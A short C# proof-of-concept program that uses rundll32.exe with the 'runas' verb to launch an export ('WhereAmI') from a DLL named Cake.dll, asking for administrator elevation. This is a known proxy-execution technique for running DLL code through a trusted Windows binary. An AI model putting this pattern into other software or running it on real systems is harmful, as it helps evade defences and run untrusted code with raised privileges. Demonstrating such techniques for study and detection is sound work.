using System.Diagnostics; using System.IO; using System.Windows.Forms; namespace ProofOfConcept { class Program { static void Main(string[] args) { string proxy = Path.Combine(Path.GetDirectoryName(Application.ExecutablePath),"Cake.dll"); Process.Start( new ProcessStartInfo { Verb = "runas", Arguments = proxy + ",WhereAmI", FileName = "rundll32.exe" }); } } }